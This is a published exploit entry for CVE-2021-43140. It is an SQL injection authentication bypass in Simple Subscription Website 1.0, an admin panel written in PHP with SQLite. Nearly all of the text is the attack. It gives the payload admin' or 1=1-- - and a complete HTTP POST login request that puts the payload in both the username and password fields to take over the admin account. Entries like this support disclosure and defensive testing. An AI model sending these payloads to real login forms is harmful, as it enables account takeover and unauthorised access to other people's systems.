# Exploit Title: Simple Subscription Website 1.0 - SQLi Authentication Bypass # Exploit Author: Daniel Haro (Dirox) # Vendor Homepage: https://www.sourcecodester.com/php/15013/simple-subscription-website-admin-panel-php-and-sqlite-source-code.html # Software Link: https://www.sourcecodester.com/php/15013/simple-subscription-website-admin-panel-php-and-sqlite-source-code.html # Version: Simple Subscription Website 1.0 # Tested on: Windows, xampp # CVE: CVE-2021-43140 - Description: SQL Injection vulnerability exists in Sourcecodester. Simple Subscription Website 1.0. An account takeover exists with the payload: admin' or 1=1-- - PoC: POST /plan_application/Actions.php?a=login HTTP/1.1 Host: 127.0.0.1 User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:94.0) Gecko/20100101 Firefox/94.0 Accept: application/json, text/javascript, */*; q=0.01 Accept-Language: es-ES,es;q=0.8,en-US;q=0.5,en;q=0.3 Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded; charset=UTF-8 X-Requested-With: XMLHttpRequest Content-Length: 57 Origin: http://127.0.0.1 Connection: close Referer: http://127.0.0.1/plan_application/admin/login.php Cookie: PHPSESSID=lcikn75hk4lk03t5onj0022mj3 username=admin'+or+1%3D1--+-&password=admin'+or+1%3D1--+-